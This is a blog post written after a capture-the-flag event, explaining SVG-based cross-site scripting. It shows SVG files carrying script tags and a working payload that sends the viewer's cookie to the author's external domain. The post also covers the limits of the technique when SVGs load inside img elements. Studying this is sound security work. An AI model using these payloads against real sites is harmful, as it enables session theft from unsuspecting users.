SVG-Based XSS
My team recently competed at WeCTF 2021, a competition organized and hosted by students at the University of California, Santa Barbara. WeCTF was a great competition and I had a great time. One of the things I learned about was SVG-based XSS, an XSS attack vector in which arbitrary JavaScript code is able to be injected and executed through the usage of an SVG.
The theory behind it is actually pretty simple. SVGs, or scalable vector graphics, are actually just code. Take the following HTML, for instance:
<div style="height: 100px; width: 100px;">
<svg viewBox="0 1 10 10">
<circle cx="50%" cy="50%" r="3" fill="white"/>
</svg>
</div>
This code displays the following circle:
SVGs are formats that describe graphics using geometry instead of pixel sequences, so they are commonly used to create minimalistic art and web icons. As a result, you’ll find that it’s possible to zoom in infinitely on an SVG with zero pixelation because the geometry is just infinitely calculated.
Where things get interesting is the fact that <script></script>
tags are perfectly legal inside of <svg></svg>
tags. Take the following code, for instance:
<div style="height: 100px; width: 100px;">
<svg viewBox="0 1 10 10">
<circle cx="50%" cy="50%" r="3" fill="white"/>
<script>document.cookie="Hello there!"</script>
</svg>
</div>
This code displays the following circle, and it also executes some JavaScript:
You can verify this by checking your cookies for this website. You’ll see a little note I left there.
Curious, isn’t it? If you’re like me, you’re probably thinking of ways to weaponize this right now. Perhaps you could pull the good ol’ classic XSS in which you redirect the viewer to a server you control and attach their cookie so that you can grab it.
<script>document.location="https://shawnd.xyz/?cookie="+document.cookie</script>
<div style="height: 100px; width: 100px;">
<svg viewBox="0 1 10 10">
<circle cx="50%" cy="50%" r="3" fill="white"/>
<script>document.location="https://shawnd.xyz/?cookie="+document.cookie</script>
</svg>
</div>
The moment someone’s browser loads that SVG, their cookie will be sent to a remote server. Go ahead and try it! Don’t worry, this demo is deactivated and harmless: Demo 1
SVGs don’t need to exist purely embedded in HTML. They can exist as files all on their own, much like how a PNG or a JPG exist as independent files. These files can then be referenced in HTML. For example, take the following SVG file:
<!DOCTYPE svg>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="100px" height="100px" viewBox="0 1 10 10">
<circle cx="50%" cy="50%" r="3" fill="blue"/>
</svg>
A bit more metadata had be to attached to make it display in a browser but besides that, we haven’t deviated too far from HTML-embedded SVG code. You can view the file here: Demo 2
Now that we’ve established that SVGs can be independent files, let’s apply the same concept of adding malicious code to an SVG.
<!DOCTYPE svg>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="100px" height="100px" viewBox="0 1 10 10">
<circle cx="50%" cy="50%" r="3" fill="blue"/>
<script>document.location="https://shawnd.xyz/?cookie="+document.cookie</script>
</svg>
It’s the same as before, except now there’s malicious code attached. You can view the file here: Demo 3
Because SVGs can exist is files that can be referenced by location, we can extend this to display within <img/>
elements in HTML code.
<img width="100px" height="100px" src="/blog/uploads/2021-06-24/demo2.svg"/>
This code displays the following:
This is where I have to talk about a huge constraint on SVG-based XSS. While it may seem like you could achieve XSS just by uploading an SVG image to a website in the same way that you might upload a PNG or JPG, this is unfortunately not the case. Within the context of <img/>
elements, JavaScript contained within <script></script>
tags in SVGs will be unable to execute. To prove this, here’s demo 3 displayed:
<img width="100px" height="100px" src="/blog/uploads/2021-06-24/demo3.svg"/>
You can even check the source of the page to verify that it is indeed demo 3 being referenced in that <img>
’s src
.
This constraint is crippling, but still workable. While there is no workaround for the problem faced in <img/>
elements, I have found a few cloud storage providers that display SVGs directly. With a few sanitization filter bypasses, SVG-based XSS is still perfectly possible.
Happy hacking!